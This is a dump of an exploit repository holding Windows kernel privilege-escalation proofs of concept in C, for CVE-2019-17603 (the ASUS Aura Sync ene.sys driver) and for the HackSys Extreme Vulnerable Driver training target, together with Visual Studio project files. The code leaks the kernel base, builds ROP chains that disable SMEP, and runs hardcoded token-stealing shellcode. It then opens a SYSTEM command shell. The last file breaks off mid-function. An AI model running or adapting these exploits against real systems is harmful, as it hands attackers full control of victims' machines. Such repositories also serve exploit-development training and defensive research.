├── Images
├── PTE1.gif
├── SMEP1.gif
└── kCFG.gif
├── README.md
├── CVE-2021-21551
├── x64
│ └── Release
│ │ └── CVE-2021-21551.exe
├── CVE-2021-21551.sln
├── CVE-2021-21551.vcxproj
└── CVE-2021-21551.c
├── HEVD
├── Pool Overflow
│ ├── x64
│ │ ├── Release
│ │ │ └── HEVD_PoolOverflow.exe
│ │ └── Debug
│ │ │ └── HEVD_PoolOverflow.log
│ ├── HEVD_PoolOverflow.sln
│ ├── HEVD_PoolOverflow.vcxproj
│ └── HEVD_PoolOverflow.c
├── Stack Overflow
│ └── Windows10_StackOverflow.c
└── Write-What-Where
│ ├── Windows10_WriteWhatWhere.c
│ ├── Windows10_Write_What_Where2.c
│ └── kCFG_Bypass.c
└── CVE-2019-17603
├── README.md
└── CVE-2019-17603.c
/Images/PTE1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/Images/PTE1.gif
--------------------------------------------------------------------------------
/Images/SMEP1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/Images/SMEP1.gif
--------------------------------------------------------------------------------
/Images/kCFG.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/Images/kCFG.gif
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Kernel Exploits
2 | Repository for kernel exploits
3 |
4 |
5 |
--------------------------------------------------------------------------------
/CVE-2021-21551/x64/Release/CVE-2021-21551.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/CVE-2021-21551/x64/Release/CVE-2021-21551.exe
--------------------------------------------------------------------------------
/HEVD/Pool Overflow/x64/Release/HEVD_PoolOverflow.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/HEVD/Pool Overflow/x64/Release/HEVD_PoolOverflow.exe
--------------------------------------------------------------------------------
/HEVD/Pool Overflow/x64/Debug/HEVD_PoolOverflow.log:
--------------------------------------------------------------------------------
1 | HEVD_PoolOverflow.c
2 | HEVD_PoolOverflow.vcxproj -> C:\Users\ANON\Desktop\HEVD_PoolOverflow\x64\Debug\HEVD_PoolOverflow.exe
3 |
--------------------------------------------------------------------------------
/CVE-2019-17603/README.md:
--------------------------------------------------------------------------------
1 | CVE-2019-17603: ASUS Aura Sync 1.07.71 'ene.sys' EoP Kernel Exploit
2 | ---
3 |
4 | Vulnerability Discovery: [@dhn_](https://twitter.com/dhn_)
5 |
6 | TODO: `mov rsp, rbp` fails! `[RBP-0x58]` issue has been solved with `HeapCreate()` && `HeapAlloc()` - but still need to restore execution after SMEP is disabled.
7 |
--------------------------------------------------------------------------------
/CVE-2021-21551/CVE-2021-21551.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31205.134
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-21551", "CVE-2021-21551.vcxproj", "{94FFBFCC-95F0-4488-9D1D-A2E1E6346971}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x64.ActiveCfg = Debug|x64
17 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x64.Build.0 = Debug|x64
18 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x86.ActiveCfg = Debug|Win32
19 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x86.Build.0 = Debug|Win32
20 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x64.ActiveCfg = Release|x64
21 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x64.Build.0 = Release|x64
22 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x86.ActiveCfg = Release|Win32
23 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B17684CE-85C9-4408-A1E1-8B03702B1524}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/HEVD/Pool Overflow/HEVD_PoolOverflow.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31321.278
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HEVD_PoolOverflow", "HEVD_PoolOverflow.vcxproj", "{500AC1A9-2C8E-4353-9973-508E6D30635B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x64.ActiveCfg = Debug|x64
17 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x64.Build.0 = Debug|x64
18 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x86.ActiveCfg = Debug|Win32
19 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x86.Build.0 = Debug|Win32
20 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x64.ActiveCfg = Release|x64
21 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x64.Build.0 = Release|x64
22 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x86.ActiveCfg = Release|Win32
23 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {E03000AA-A74E-4A3A-B6BE-58A74B9CEA55}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/HEVD/Stack Overflow/Windows10_StackOverflow.c:
--------------------------------------------------------------------------------
1 | // HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Stack Overflow & SMEP Enabled)
2 | // Author: Connor McGarr
3 | // Compilation on Windows via gcc: gcc Windows10_StackOverflow.c -o Windows10_StackOverflow.exe -lpsapi
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | #define IOCTL_CODE 0x222003
10 |
11 | unsigned long long kernelBase(void)
12 | {
13 | // Defining EnumDeviceDrivers() parameters
14 | LPVOID lpImageBase[1024];
15 | DWORD lpcbNeeded;
16 |
17 | // Calling EnumDeviceDrivers()
18 | printf("[+] Calling EnumDeviceDrivers()...\n");
19 |
20 | BOOL baseofDrivers = EnumDeviceDrivers(
21 | lpImageBase,
22 | sizeof(lpImageBase),
23 | &lpcbNeeded
24 | );
25 |
26 | // Error handling
27 | if (!baseofDrivers)
28 | {
29 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
30 | exit(1);
31 | }
32 |
33 | // ntoskrnl.exe is the first module dumped in the array
34 | // Typcasting LPVOID to unsigned long long
35 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0];
36 |
37 | // Print update for kernel base
38 | printf("[+] Found kernel leak!\n");
39 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);
40 |
41 | return krnlBase;
42 | }
43 |
44 | void exploitWork()
45 | {
46 | /*
47 | [BITS 64]
48 |
49 | _start:
50 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
51 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
52 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
53 | __loop:
54 | mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks
55 | sub rbx, 0x2f0 ; Go back to current process (_EPROCESS)
56 | mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID)
57 | cmp rcx, 4 ; Compare PID to SYSTEM PID
58 | jnz __loop ; Loop until SYSTEM PID is found
59 |
60 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
61 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
62 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process
63 |
64 | add rsp, 0x40 ; Restore execution
65 | ret ; Done!
66 | */
67 |
68 | // Windows 10 RS1 offsets in _EPROCESS structure
69 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80"
70 | "\xB8\x00\x00\x00\x48\x89\xC3\x48\x8B\x9B\xF0"
71 | "\x02\x00\x00\x48\x81\xEB\xF0\x02\x00\x00\x48"
72 | "\x8B\x8B\xE8\x02\x00\x00\x48\x83\xF9\x04"
73 | "\x75\xE5\x48\x8B\x8B\x58\x03\x00\x00\x80"
74 | "\xE1\xF0\x48\x89\x88\x58\x03\x00\x00\x48"
75 | "\x83\xC4\x40\xC3";
76 |
77 | // Allocating shellcode in user mode
78 | LPVOID shellcode = VirtualAlloc(
79 | NULL,
80 | sizeof(payload),
81 | 0x3000,
82 | 0x40
83 | );
84 |
85 | // Error handling
86 | if (!shellcode)
87 | {
88 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError());
89 | exit(1);
90 | }
91 |
92 | // Print update for shellcode location
93 | printf("[+] Shellcode allocated at: 0x%llx\n", shellcode);
94 |
95 | // Moving memory into allocated space in user mode
96 | VOID moveMemory = RtlMoveMemory(
97 | shellcode,
98 | payload,
99 | sizeof(payload)
100 | );
101 |
102 | // Error handling
103 | if (!moveMemory)
104 | {
105 | printf("[-] Error! Unable to move shellcode into allocated region. Error: %s\n", GetLastError());
106 | exit(1);
107 | }
108 |
109 | // Running kernelBase() here to get base of kernel for ROP gadgets
110 | unsigned long long baseAddress = kernelBase();
111 |
112 | // Defining buffer and buffer size to send to the driver
113 | char buf [2100];
114 | size_t gadgetSize = 0x8;
115 |
116 | // Defining ROP gadgets
117 | unsigned long long ROP1 = baseAddress + 0x4666b; // pop rcx ; ret: ntoskrnl.exe
118 | unsigned long long ROP2 = 0x70678; // Intended CR4 value (0x70678)
119 | unsigned long long ROP3 = baseAddress + 0x1d87d7; // mov cr4, rcx ; ret: ntoskrnl.exe
120 |
121 | // Using memset to copy memory into array
122 | memset(buf, 0x41, 2100);
123 |
124 | // buf+2056 because this is where ROP gadgets should start to be loaded into RIP
125 | // Need pointer to src and need pointer to gadgets for dest
126 |
127 | // Print update for ROP chain
128 | printf("[+] Beginning ROP chain to disable SMEP. In muts we trust.\n");
129 |
130 | memcpy(&buf[2056], &ROP1, gadgetSize);
131 | printf("[+] Popped value of CR4 with SMEP disabled into RCX...\n");
132 |
133 | memcpy(&buf[2056+8], &ROP2, gadgetSize);
134 | memcpy(&buf[2056+16], &ROP3, gadgetSize);
135 | printf("[+] SMEP is disabled! CR4 now has the 20th bit cleared...\n");
136 |
137 | memcpy(&buf[2056+24], &shellcode, 0x8);
138 | printf("[+] Executing the shellcode!\n");
139 |
140 | // Obtaining handle to the driver
141 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
142 |
143 | HANDLE drvHandle = CreateFileA(
144 | "\\\\.\\HackSysExtremeVulnerableDriver",
145 | 0xC0000000,
146 | 0x0,
147 | NULL,
148 | 0x3,
149 | 0x0,
150 | NULL
151 | );
152 |
153 | // Error handling
154 | if (!drvHandle)
155 | {
156 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
157 | exit(1);
158 | }
159 |
160 | // Print update for HANDLE
161 | printf("[+] Handle to the driver: %d\n", drvHandle);
162 |
163 | // Sending buffer to the driver
164 |
165 | // Defining lpBytesReturned parameter
166 | DWORD lpBytesReturned;
167 |
168 | BOOL sendIoctl = DeviceIoControl(
169 | drvHandle,
170 | IOCTL_CODE,
171 | buf,
172 | sizeof(buf),
173 | NULL,
174 | 0,
175 | &lpBytesReturned,
176 | NULL
177 | );
178 |
179 | // Error handling
180 | if (!sendIoctl)
181 | {
182 | printf("[-] Error! Unable to interact with the driver. Error: %d\n", GetLastError());
183 | exit(1);
184 | }
185 |
186 | printf("[+] Interacting with the driver...\n");
187 | }
188 |
189 | int main(int argc, char *argv[])
190 | {
191 | exploitWork();
192 |
193 | // Spawning an NT AUTHORITY\SYSTEM shell
194 | system("cmd.exe /c cmd.exe /K cd C:\\");
195 |
196 | // Print update for NT AUTHORITY\SYSTEM shell
197 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
198 |
199 | return 0;
200 | }
201 |
--------------------------------------------------------------------------------
/CVE-2019-17603/CVE-2019-17603.c:
--------------------------------------------------------------------------------
1 | // CVE-2019-17603: ASUS Aura Sync 1.07.71 'ene.sys' EoP Kernel Exploit
2 | // Discovered by @dhn_
3 | // Author of PoC: Connor McGarr (@33y0re - https://connormcgarr.github.io)
4 | // Tested with VBS, HyperGuard, and PatchGuard disabled
5 | // Compilation on Windows via gcc: gcc CVE-2019-17603 -o exploit.exe -lpsapi
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | // Vulnerable IOCTL in ene.sys
12 | #define IOCTL_CODE 0x80102040
13 |
14 | unsigned long long kernelBase()
15 | {
16 |
17 | // Defining EnumDeviceDrivers() parameters
18 | LPVOID lpImageBase[1024];
19 | DWORD lpcbNeeded;
20 |
21 | // Calling EnumDeviceDrivers()
22 | printf("[+] Calling EnumDeviceDrivers()...\n");
23 |
24 | BOOL baseofDrivers = EnumDeviceDrivers(
25 | lpImageBase,
26 | sizeof(lpImageBase),
27 | &lpcbNeeded
28 | );
29 |
30 | // Error handling
31 | if (!baseofDrivers)
32 | {
33 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
34 | exit(1);
35 | }
36 |
37 | // ntoskrnl.exe is the first module dumped in the array
38 | // Typcasting LPVOID to unsigned long long
39 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0];
40 |
41 | // Print update for kernel base
42 | printf("[+] Found kernel leak!\n");
43 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);
44 |
45 | return krnlBase;
46 | }
47 |
48 | void exploitWork(void)
49 | {
50 | /*
51 | [BITS 64]
52 | _start:
53 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
54 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
55 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
56 | __loop:
57 | mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks
58 | sub rbx, 0x2e8 ; Go back to current process (_EPROCESS)
59 | mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID)
60 | cmp rcx, 4 ; Compare PID to SYSTEM PID
61 | jnz __loop ; Loop until SYSTEM PID is found
62 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
63 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
64 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process
65 | xor rax, rax ; STATUS_SUCCESS
66 | add rsp, 0xa0 ; Restore execution (DOESN't FULLY RESTORE)
67 | ret ; Done!
68 | */
69 |
70 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80"
71 | "\xB8\x00\x00\x00\x48\x89\xC3\x48\x8B\x9B\xF0"
72 | "\x02\x00\x00\x48\x81\xEB\xF0\x02\x00\x00\x48"
73 | "\x8B\x8B\xE8\x02\x00\x00\x48\x83\xF9\x04"
74 | "\x75\xE5\x48\x8B\x8B\x58\x03\x00\x00\x80"
75 | "\xE1\xF0\x48\x89\x88\x58\x03\x00\x00\x48\x31\xC0"
76 | "\xC3";
77 |
78 | // Parameters for HeapCreate()
79 | size_t dwInitialSize = 0;
80 | size_t dwMaximumSize = 0x100;
81 |
82 | // Creating heap for shellcode
83 | HANDLE heap = HeapCreate(
84 | HEAP_CREATE_ENABLE_EXECUTE,
85 | dwInitialSize,
86 | dwMaximumSize
87 | );
88 |
89 | // Error handling
90 | if (!heap)
91 | {
92 | printf("Error! Heap could not be created. Error: %d\n", GetLastError());
93 | }
94 |
95 | // Parameters for HeapAlloc()
96 | DWORD dwBytes = 0x100;
97 |
98 | // Allocating shellcode in previously created heap
99 | LPVOID shellcode = HeapAlloc(
100 | heap,
101 | HEAP_ZERO_MEMORY,
102 | dwBytes
103 | );
104 |
105 | // Error handling
106 | if (!shellcode)
107 | {
108 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError());
109 | exit(1);
110 | }
111 |
112 | // Print statement for exploit
113 | printf("[+] CVE-2019-17603: ASUS Aura Sync 1.07.71 'ene.sys' EoP Kernel Exploit\n");
114 |
115 | // Print update for shellcode location
116 | printf("[+] Shellcode allocated at: 0x%llx\n", shellcode);
117 |
118 | // Moving memory into allocated space in user mode
119 | RtlMoveMemory(
120 | shellcode,
121 | payload,
122 | sizeof(payload)
123 | );
124 |
125 | // Running kernelBase() here to get base of kernel for ROP gadgets
126 | unsigned long long baseAddress = kernelBase();
127 |
128 | // Defining buffer and buffer size to send to the driver
129 | char buf [88];
130 | size_t gadgetSize = 0x8;
131 |
132 | // ROP gadgets are for Windows 10 RS1 Version 10.0.14393 Build 14393
133 | // Run rp++ on the target before execution to adjust offsets accordingnly
134 | // rp++.exe -f C:\Windows\system32\ntoskrnl.exe -r 5 >> NTOSKRNL_GADGETS.exe
135 |
136 | // Defining ROP gadgets
137 | unsigned long long ROP1 = baseAddress + 0x4666b; // pop rcx ; ret: ntoskrnl.exe
138 | unsigned long long ROP2 = 0x70678; // Intended CR4 value (0x70678) Windows 10 RS1 Version 10.0.14393 Build 14393
139 | unsigned long long ROP3 = baseAddress + 0x1d87d7; // mov cr4, rcx ; ret: ntoskrnl.exe
140 |
141 | // Using memset to copy memory into array
142 | memset(buf, 0x41, 88);
143 |
144 | // Print update for ROP chain
145 | printf("[+] Exedcuting ROP chain to disable SMEP...\n");
146 | memcpy(&buf[56], &ROP1, gadgetSize);
147 | memcpy(&buf[56+8], &ROP2, gadgetSize);
148 | memcpy(&buf[56+16], &ROP3, gadgetSize);
149 | memcpy(&buf[56+24], &shellcode, 0x8);
150 |
151 |
152 | // Obtaining handle to the driver
153 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
154 |
155 | HANDLE drvHandle = CreateFileA(
156 | "\\\\.\\EneIo",
157 | 0xC0000000,
158 | 0x0,
159 | NULL,
160 | 0x3,
161 | 0x0,
162 | NULL
163 | );
164 |
165 | // Error handling
166 | if (!drvHandle)
167 | {
168 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
169 | exit(1);
170 | }
171 |
172 | // Print update for HANDLE
173 | printf("[+] Handle to the driver: %d\n", drvHandle);
174 |
175 | // Sending buffer to the driver
176 |
177 | // Defining lpBytesReturned parameter
178 | DWORD lpBytesReturned;
179 |
180 | BOOL sendIoctl = DeviceIoControl(
181 | drvHandle,
182 | IOCTL_CODE,
183 | buf,
184 | sizeof(buf),
185 | NULL,
186 | 0,
187 | &lpBytesReturned,
188 | NULL
189 | );
190 |
191 | // Error handling
192 | if (!sendIoctl)
193 | {
194 | printf("[-] Error! Unable to interact with the driver. Error: %d\n", GetLastError());
195 | exit(1);
196 | }
197 |
198 | printf("[+] Interacting with the driver...\n");
199 |
200 | // Destroying heap used for shellcode
201 | BOOL destroyHeap = HeapDestroy(
202 | heap
203 | );
204 |
205 | // Error handing for destroying heap
206 | if (!destroyHeap)
207 | {
208 | printf("Error! Could not destroy heap! Error: %d\n", GetLastError());
209 | }
210 |
211 | // Print update for destroy heap
212 | printf("Destroying heap used for shellcode...\n");
213 | }
214 |
215 | int main(int argc, char *argv[])
216 | {
217 | exploitWork();
218 |
219 | // Print update for NT AUTHORITY\SYSTEM shell
220 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
221 |
222 | // Spawning an NT AUTHORITY\SYSTEM shell
223 | system("cmd.exe /c cmd.exe /K cd C:\\");
224 |
225 | return 0;
226 | }
227 |
--------------------------------------------------------------------------------
/CVE-2021-21551/CVE-2021-21551.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {94ffbfcc-95f0-4488-9d1d-a2e1e6346971}
25 | CVE202121551
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
--------------------------------------------------------------------------------
/HEVD/Pool Overflow/HEVD_PoolOverflow.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {500ac1a9-2c8e-4353-9973-508e6d30635b}
25 | HEVDPoolOverflow
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
--------------------------------------------------------------------------------
/HEVD/Write-What-Where/Windows10_WriteWhatWhere.c:
--------------------------------------------------------------------------------
1 | // HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled)
2 | // Author: Connor McGarr
3 | // Compilation on Windows via gcc: gcc Windows10_WriteWhatWhere.c -o exploit.exe -lpsapi
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | #define IOCTL_CODE 0x0022200B
10 |
11 | // Prepping call to nt!NtQueryIntervalProfile
12 | typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
13 |
14 | unsigned long long kernelBase(void)
15 | {
16 | // Defining EnumDeviceDrivers() parameters
17 | LPVOID lpImageBase[1024];
18 | DWORD lpcbNeeded;
19 |
20 | // Calling EnumDeviceDrivers()
21 | printf("[+] Calling EnumDeviceDrivers()...\n");
22 |
23 | BOOL baseofDrivers = EnumDeviceDrivers(
24 | lpImageBase,
25 | sizeof(lpImageBase),
26 | &lpcbNeeded
27 | );
28 |
29 | // Error handling
30 | if (!baseofDrivers)
31 | {
32 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
33 | exit(1);
34 | }
35 |
36 | // ntoskrnl.exe is the first module dumped in the array
37 | // Typcasting LPVOID to unsigned long long
38 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0];
39 |
40 | // Print update for kernel base
41 | printf("[+] Found kernel leak!\n");
42 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);
43 |
44 | return krnlBase;
45 | }
46 |
47 | void exploitWork(void)
48 | {
49 | /*
50 | [BITS 64]
51 | _start:
52 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
53 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
54 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
55 | __loop:
56 | mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks
57 | sub rbx, 0x2e8 ; Go back to current process (_EPROCESS)
58 | mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID)
59 | cmp rcx, 4 ; Compare PID to SYSTEM PID
60 | jnz __loop ; Loop until SYSTEM PID is found
61 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
62 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
63 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process
64 | xor rax, rax ; STATUS_SUCCESS
65 | ret ; Done!
66 | */
67 |
68 | // Windows 10 RS1 offsets in _EPROCESS structure
69 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"
70 | "\x48\x8B\x80\xB8\x00\x00\x00"
71 | "\x48\x89\xC3\x48\x8B\x9B\xF0\x02\x00\x00"
72 | "\x48\x81\xEB\xF0\x02\x00\x00"
73 | "\x48\x8B\x8B\xE8\x02\x00\x00"
74 | "\x48\x83\xF9\x04\x75\xE5"
75 | "\x48\x8B\x8B\x58\x03\x00\x00"
76 | "\x80\xE1\xF0\x48\x89\x88\x58\x03\x00\x00"
77 | "\x48\x31\xC0\xC3";
78 |
79 | // Allocating shellcode in user mode
80 | LPVOID shellcode = VirtualAlloc(
81 | NULL,
82 | sizeof(payload),
83 | 0x3000,
84 | 0x40
85 | );
86 |
87 | // Error handling
88 | if (!shellcode)
89 | {
90 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError());
91 | exit(1);
92 | }
93 |
94 | // Moving memory into allocated space in user mode
95 | RtlMoveMemory(
96 | shellcode,
97 | payload,
98 | sizeof(payload)
99 | );
100 |
101 | // Print update for shellcode
102 | printf("[+] Shellcode is located at: 0x%llx\n", shellcode);
103 |
104 | // Return value of kernelBase
105 | unsigned long long baseAddress = kernelBase();
106 |
107 | // Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress
108 | unsigned long long ntmigetpteAddress = baseAddress+0x1b607;
109 | printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress);
110 |
111 | // Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder)
112 | unsigned long long placeholder = 0;
113 | PULONGLONG baseofPtes = &placeholder;
114 |
115 | // Defining buffer to send to driver
116 | char buf [0x10];
117 | size_t oneQword = 0x8;
118 |
119 | // Initializing buffer to junk to satisfy type error of memset
120 | memset(buf, 0x41, 0x10);
121 |
122 | // Actual buffer for extracting the PTE base
123 | memcpy(buf, &ntmigetpteAddress, oneQword);
124 | memcpy(&buf[0x8], &baseofPtes, oneQword);
125 |
126 | // Obtaining handle to the driver
127 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
128 | HANDLE drvHandle = CreateFileA(
129 | "\\\\.\\HackSysExtremeVulnerableDriver",
130 | 0xC0000000,
131 | 0x0,
132 | NULL,
133 | 0x3,
134 | 0x0,
135 | NULL
136 | );
137 |
138 | // Error handling
139 | if (!drvHandle)
140 | {
141 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
142 | exit(1);
143 | }
144 |
145 | // Print update for HANDLE
146 | printf("[+] Handle to the driver: %d\n", drvHandle);
147 |
148 | // Sending buffer to the driver
149 |
150 | // Defining lpBytesReturned parameter
